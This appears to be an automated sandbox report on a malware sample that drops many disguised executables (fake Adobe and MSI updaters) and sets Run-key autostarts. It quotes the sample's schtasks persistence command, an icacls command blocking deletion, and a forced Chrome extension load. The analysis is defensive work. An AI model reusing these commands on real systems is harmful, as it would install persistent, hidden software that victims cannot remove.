Source: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	File created: C:\ProgramData\ICodecLibrary 1.22.66\ICodecLibrary 1.22.66.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-C3O1M.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\oiii[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV168_bdca866007fb255201297d2a15a49513\AdobeUpdaterV168.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File created: C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\ZUeumQ5vReRlBxyeuYnI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\Users\user\AppData\Local\Temp\span3thb7smxRnGc\kvTtAU2MzY2s2DUs95B8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-FUCPU.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-RQFDB.tmp	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	File created: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Temp\is-IIPV9.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp	File created: C:\Users\user\AppData\Local\Zvaer Video Recorder\is-4ENJ7.tmp	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\ProgramData\MSIUpdaterV168_bdca866007fb255201297d2a15a49513\MSIUpdaterV168.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe	File created: C:\ProgramData\ICodecLibrary 1.22.66\ICodecLibrary 1.22.66.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	File created: C:\ProgramData\MPGPH131\MPGPH131.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	File created: C:\ProgramData\qhbnnmvggfhr\bkqtzupkspiy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	File created: C:\ProgramData\MSIUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV202.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFIIEHJDBKJ\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\katC73D.tmp	File created: C:\ProgramData\KJKKKJJJKJKF\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	File created: C:\ProgramData\MSIUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7\MSIUpdaterV168.exe	Jump to dropped file

Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

Registry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV202_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RageMP131
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_bdca866007fb255201297d2a15a49513
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV168_55fe1070a367c8a2ee8e8e5d74ec3cf7
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper
Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SysHelper

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Memory written: PID: 6064 base: 7FFE22370008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe	Memory written: PID: 6064 base: 7FFE2220D9F0 value: E9 20 26 16 00

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 54674
Source: unknown	Network traffic detected: HTTP traffic on port 54674 -> 49761

Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe

Code function: 5_2_0023E170 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

5_2_0023E170

Source: C:\Users\user\Desktop\BI6oo9z4In.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate

Jump to behavior

Source: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe

Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7" /deny *S-1-1-0:(OI)(CI)(DE,DC)

Source: C:\Users\user\Desktop\BI6oo9z4In.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe	Process information set: NOOPENFILEERRORBOX
